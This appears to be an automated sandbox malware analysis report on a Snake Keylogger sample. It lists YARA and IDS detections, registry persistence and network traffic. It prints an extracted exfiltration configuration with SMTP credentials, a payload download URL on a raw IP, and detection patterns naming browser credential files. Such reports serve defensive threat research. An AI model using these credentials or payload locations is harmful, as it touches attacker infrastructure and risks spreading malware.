3.2.ijohw.exe.3a3fdb0.8.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x165b4:$x1: $%SMTPDV$ 0x1661a:$x2: $#TheHashHere%& 0x17c43:$x3: %FTPDV$ 0x17d37:$x4: $%TelegramDv$ 0x13e4b:$x5: KeyLoggerEventArgs 0x141e0:$x5: KeyLoggerEventArgs 0x17c67:$m2: Clipboard Logs ID 0x17e87:$m2: Screenshot Logs ID 0x17f97:$m2: keystroke Logs ID 0x18271:$m3: SnakePW 0x17e5f:$m4: \SnakeKeylogger\
0.2.Ref_336210627.exe.4331590.6.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Ref_336210627.exe.4331590.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Ref_336210627.exe.4331590.6.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Ref_336210627.exe.4331590.6.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x900b2:$a1: get_encryptedPassword 0x9039e:$a2: get_encryptedUsername 0x8febe:$a3: get_timePasswordChanged 0x8ffb9:$a4: get_passwordField 0x900c8:$a5: set_encryptedPassword 0x91735:$a7: get_logins 0x91698:$a10: KeyLoggerEventArgs 0x91303:$a11: KeyLoggerEventArgsEventHandler
0.2.Ref_336210627.exe.4331590.6.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x97aeb:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x96d1d:$a3: \Google\Chrome\User Data\Default\Login Data 0x97150:$a4: \Orbitum\User Data\Default\Login Data 0x9818f:$a5: \Kometa\User Data\Default\Login Data
0.2.Ref_336210627.exe.4331590.6.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x90c76:$s1: UnHook 0x90c7d:$s2: SetHook 0x90c85:$s3: CallNextHook 0x90c92:$s4: _hook
0.2.Ref_336210627.exe.4331590.6.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x93a6c:$x1: $%SMTPDV$ 0x93ad2:$x2: $#TheHashHere%& 0x950fb:$x3: %FTPDV$ 0x951ef:$x4: $%TelegramDv$ 0x91303:$x5: KeyLoggerEventArgs 0x91698:$x5: KeyLoggerEventArgs 0x9511f:$m2: Clipboard Logs ID 0x9533f:$m2: Screenshot Logs ID 0x9544f:$m2: keystroke Logs ID 0x95729:$m3: SnakePW 0x95317:$m4: \SnakeKeylogger\
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x41892:$a1: get_encryptedPassword 0x41b7e:$a2: get_encryptedUsername 0x4169e:$a3: get_timePasswordChanged 0x41799:$a4: get_passwordField 0x418a8:$a5: set_encryptedPassword 0x42f15:$a7: get_logins 0x42e78:$a10: KeyLoggerEventArgs 0x42ae3:$a11: KeyLoggerEventArgsEventHandler
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x492cb:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x484fd:$a3: \Google\Chrome\User Data\Default\Login Data 0x48930:$a4: \Orbitum\User Data\Default\Login Data 0x4996f:$a5: \Kometa\User Data\Default\Login Data
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x42456:$s1: UnHook 0x4245d:$s2: SetHook 0x42465:$s3: CallNextHook 0x42472:$s4: _hook
0.2.Ref_336210627.exe.437fdb0.1.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x4524c:$x1: $%SMTPDV$ 0x452b2:$x2: $#TheHashHere%& 0x468db:$x3: %FTPDV$ 0x469cf:$x4: $%TelegramDv$ 0x42ae3:$x5: KeyLoggerEventArgs 0x42e78:$x5: KeyLoggerEventArgs 0x468ff:$m2: Clipboard Logs ID 0x46b1f:$m2: Screenshot Logs ID 0x46c2f:$m2: keystroke Logs ID 0x46f09:$m3: SnakePW 0x46af7:$m4: \SnakeKeylogger\
0.2.Ref_336210627.exe.43acc48.9.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Ref_336210627.exe.43acc48.9.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Ref_336210627.exe.43acc48.9.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x12bfa:$a1: get_encryptedPassword 0x12ee6:$a2: get_encryptedUsername 0x12a06:$a3: get_timePasswordChanged 0x12b01:$a4: get_passwordField 0x12c10:$a5: set_encryptedPassword 0x1427d:$a7: get_logins 0x141e0:$a10: KeyLoggerEventArgs 0x13e4b:$a11: KeyLoggerEventArgsEventHandler
0.2.Ref_336210627.exe.43acc48.9.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1a633:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x19865:$a3: \Google\Chrome\User Data\Default\Login Data 0x19c98:$a4: \Orbitum\User Data\Default\Login Data 0x1acd7:$a5: \Kometa\User Data\Default\Login Data
0.2.Ref_336210627.exe.43acc48.9.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x137be:$s1: UnHook 0x137c5:$s2: SetHook 0x137cd:$s3: CallNextHook 0x137da:$s4: _hook
0.2.Ref_336210627.exe.43acc48.9.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x165b4:$x1: $%SMTPDV$ 0x1661a:$x2: $#TheHashHere%& 0x17c43:$x3: %FTPDV$ 0x17d37:$x4: $%TelegramDv$ 0x13e4b:$x5: KeyLoggerEventArgs 0x141e0:$x5: KeyLoggerEventArgs 0x17c67:$m2: Clipboard Logs ID 0x17e87:$m2: Screenshot Logs ID 0x17f97:$m2: keystroke Logs ID 0x18271:$m3: SnakePW 0x17e5f:$m4: \SnakeKeylogger\
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x149fa:$a1: get_encryptedPassword 0x14ce6:$a2: get_encryptedUsername 0x14806:$a3: get_timePasswordChanged 0x14901:$a4: get_passwordField 0x14a10:$a5: set_encryptedPassword 0x1607d:$a7: get_logins 0x15fe0:$a10: KeyLoggerEventArgs 0x15c4b:$a11: KeyLoggerEventArgsEventHandler
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c433:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b665:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ba98:$a4: \Orbitum\User Data\Default\Login Data 0x1cad7:$a5: \Kometa\User Data\Default\Login Data
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x155be:$s1: UnHook 0x155c5:$s2: SetHook 0x155cd:$s3: CallNextHook 0x155da:$s4: _hook
3.2.ijohw.exe.3a3fdb0.8.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183b4:$x1: $%SMTPDV$ 0x1841a:$x2: $#TheHashHere%& 0x19a43:$x3: %FTPDV$ 0x19b37:$x4: $%TelegramDv$ 0x15c4b:$x5: KeyLoggerEventArgs 0x15fe0:$x5: KeyLoggerEventArgs 0x19a67:$m2: Clipboard Logs ID 0x19c87:$m2: Screenshot Logs ID 0x19d97:$m2: keystroke Logs ID 0x1a071:$m3: SnakePW 0x19c5f:$m4: \SnakeKeylogger\
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	Windows_Trojan_SnakeKeylogger_af3faa65	unknown	unknown	0x149fa:$a1: get_encryptedPassword 0x14ce6:$a2: get_encryptedUsername 0x14806:$a3: get_timePasswordChanged 0x14901:$a4: get_passwordField 0x14a10:$a5: set_encryptedPassword 0x1607d:$a7: get_logins 0x15fe0:$a10: KeyLoggerEventArgs 0x15c4b:$a11: KeyLoggerEventArgsEventHandler
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	MAL_Envrial_Jan18_1	Detects Encrial credential stealer malware	Florian Roth	0x1c433:$a2: \Comodo\Dragon\User Data\Default\Login Data 0x1b665:$a3: \Google\Chrome\User Data\Default\Login Data 0x1ba98:$a4: \Orbitum\User Data\Default\Login Data 0x1cad7:$a5: \Kometa\User Data\Default\Login Data
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	INDICATOR_SUSPICIOUS_EXE_DotNetProcHook	Detects executables with potential process hoocking	ditekSHen	0x155be:$s1: UnHook 0x155c5:$s2: SetHook 0x155cd:$s3: CallNextHook 0x155da:$s4: _hook
0.2.Ref_336210627.exe.43acc48.9.raw.unpack	MALWARE_Win_SnakeKeylogger	Detects Snake Keylogger	ditekSHen	0x183b4:$x1: $%SMTPDV$ 0x1841a:$x2: $#TheHashHere%& 0x19a43:$x3: %FTPDV$ 0x19b37:$x4: $%TelegramDv$ 0x15c4b:$x5: KeyLoggerEventArgs 0x15fe0:$x5: KeyLoggerEventArgs 0x19a67:$m2: Clipboard Logs ID 0x19c87:$m2: Screenshot Logs ID 0x19d97:$m2: keystroke Logs ID 0x1a071:$m3: SnakePW 0x19c5f:$m4: \SnakeKeylogger\
9.2.ijohw.exe.499d230.1.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Ref_336210627.exe.49dd210.3.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 47 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\ijohw.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Ref_336210627.exe, ProcessId: 6036, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ijohw

Suricata Signatures

ET MALWARE PE EXE or DLL Windows file download Text M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T12:11:57.665972+0200	2022640	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.4	49732	TCP
2024-09-26T12:12:21.561124+0200	2022640	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.4	49753	TCP
2024-09-26T12:12:29.579592+0200	2022640	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.4	49755	TCP

ET MALWARE PE EXE or DLL Windows file download disguised as ASCII

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T12:11:57.665972+0200	2017962	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.4	49732	TCP
2024-09-26T12:12:21.561124+0200	2017962	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.4	49753	TCP
2024-09-26T12:12:29.579592+0200	2017962	1	A Network Trojan was detected	172.86.66.70	80	192.168.2.4	49755	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T12:12:13.312622+0200	2803305	3	Unknown Traffic	192.168.2.4	49735	188.114.96.3	443	TCP
2024-09-26T12:12:14.917912+0200	2803305	3	Unknown Traffic	192.168.2.4	49737	188.114.96.3	443	TCP
2024-09-26T12:12:16.586360+0200	2803305	3	Unknown Traffic	192.168.2.4	49742	188.114.96.3	443	TCP
2024-09-26T12:12:20.422221+0200	2803305	3	Unknown Traffic	192.168.2.4	49751	188.114.96.3	443	TCP
2024-09-26T12:12:36.297858+0200	2803305	3	Unknown Traffic	192.168.2.4	49758	188.114.96.3	443	TCP
2024-09-26T12:12:37.532679+0200	2803305	3	Unknown Traffic	192.168.2.4	49760	188.114.96.3	443	TCP
2024-09-26T12:12:39.925577+0200	2803305	3	Unknown Traffic	192.168.2.4	49764	188.114.96.3	443	TCP
2024-09-26T12:12:43.266691+0200	2803305	3	Unknown Traffic	192.168.2.4	49770	188.114.96.3	443	TCP
2024-09-26T12:12:44.843288+0200	2803305	3	Unknown Traffic	192.168.2.4	49773	188.114.96.3	443	TCP
2024-09-26T12:12:46.009457+0200	2803305	3	Unknown Traffic	192.168.2.4	49775	188.114.96.3	443	TCP
2024-09-26T12:12:48.175631+0200	2803305	3	Unknown Traffic	192.168.2.4	49779	188.114.96.3	443	TCP
2024-09-26T12:12:49.602260+0200	2803305	3	Unknown Traffic	192.168.2.4	49781	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-26T12:12:11.910623+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.130.0	80	TCP
2024-09-26T12:12:12.754472+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49733	193.122.130.0	80	TCP
2024-09-26T12:12:14.004379+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49736	193.122.130.0	80	TCP
2024-09-26T12:12:15.863776+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.130.0	80	TCP
2024-09-26T12:12:17.221140+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49744	193.122.130.0	80	TCP
2024-09-26T12:12:34.973215+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49756	193.122.130.0	80	TCP
2024-09-26T12:12:35.754433+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49756	193.122.130.0	80	TCP
2024-09-26T12:12:36.832585+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49759	193.122.130.0	80	TCP
2024-09-26T12:12:43.404898+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49771	193.122.130.0	80	TCP
2024-09-26T12:12:44.270078+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49771	193.122.130.0	80	TCP
2024-09-26T12:12:45.426325+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49774	193.122.130.0	80	TCP
2024-09-26T12:12:46.551358+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49776	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000009.00000002.2144670543.000000000437D000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "sendqpostal@bisttro.shop", "Password": "W79cDo2h05Iv", "Host": "bisttro.shop", "Port": "587", "Version": "5.1"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\ijohw.exe

ReversingLabs: Detection: 21%

Multi AV Scanner detection for submitted file

Source: Ref_336210627.exe

ReversingLabs: Detection: 21%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\ijohw.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Ref_336210627.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Ref_336210627.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49734 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49757 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49772 version: TLS 1.0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\InstallUtil.exe.log

Jump to behavior

Source: Ref_336210627.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.0000000003708000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1811785668.0000000006740000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.00000000042FF000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003633000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Ref_336210627.exe, 00000000.00000002.1804561635.0000000004331000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1790161541.0000000003708000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1811785668.0000000006740000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.00000000042B9000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2049506536.0000000003A3F000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000003.00000002.2034336187.0000000002C74000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.00000000042FF000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2115666335.0000000003633000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Ref_336210627.exe, 00000000.00000002.1810021867.0000000006500000.00000004.08000000.00040000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004499000.00000004.00000800.00020000.00000000.sdmp, Ref_336210627.exe, 00000000.00000002.1804561635.0000000004C6E000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.0000000004BEE000.00000004.00000800.00020000.00000000.sdmp, ijohw.exe, 00000009.00000002.2144670543.000000000499D000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 06587B17h	0_2_06587AB8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 06588291h	0_2_06588230
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 06588291h	0_2_06588220
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 06587B17h	0_2_06587AA8
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 06588291h	0_2_06588446
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 0658EA00h	0_2_0658E948
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then jmp 0658EA00h	0_2_0658E940
Source: C:\Users\user\Desktop\Ref_336210627.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	0_2_0673D578
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CF7B17h	3_2_05CF7AB8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CFEA00h	3_2_05CFE948
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CFEA00h	3_2_05CFE940
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CF8291h	3_2_05CF8446
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CF7B17h	3_2_05CF7AA8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CF8291h	3_2_05CF8220
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05CF8291h	3_2_05CF8230
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05DE4DCAh	3_2_05DE4D8D
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05DE4DCAh	3_2_05DE4C50
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05DE4DCAh	3_2_05DE4C60
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 05DE4DCAh	3_2_05DE4F3A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	3_2_05DE2F38
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	3_2_05DE2F30
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	3_2_05EAD578
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 06567B17h	9_2_06567AB8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 06568291h	9_2_06568230
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 06568291h	9_2_06568220
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 06567B17h	9_2_06567AA8
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 06568291h	9_2_0656843F
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 0656EA00h	9_2_0656E940
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 0656EA00h	9_2_0656E948
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 065F4DCAh	9_2_065F4F3A
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	9_2_065F2F38
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then cmp dword ptr [ebp-20h], 00000000h	9_2_065F2F30
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 065F4DCAh	9_2_065F4C50
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 065F4DCAh	9_2_065F4C60
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then jmp 065F4DCAh	9_2_065F4D8D
Source: C:\Users\user\AppData\Roaming\ijohw.exe	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	9_2_0661D578

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 172.86.66.70:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.86.66.70:80 -> 192.168.2.4:49732
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 172.86.66.70:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.86.66.70:80 -> 192.168.2.4:49753
Source: Network traffic	Suricata IDS: 2017962 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download disguised as ASCII : 172.86.66.70:80 -> 192.168.2.4:49755
Source: Network traffic	Suricata IDS: 2022640 - Severity 1 - ET MALWARE PE EXE or DLL Windows file download Text M2 : 172.86.66.70:80 -> 192.168.2.4:49755

Yara detected Generic Downloader

Source: Yara match	File source: 1.2.InstallUtil.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.4331590.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.437fdb0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ijohw.exe.3a3fdb0.8.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Ref_336210627.exe.43acc48.9.raw.unpack, type: UNPACKEDPE

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.33 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /y3/Lusnteor.mp3 HTTP/1.1Host: 172.86.66.70Connection: Keep-Alive
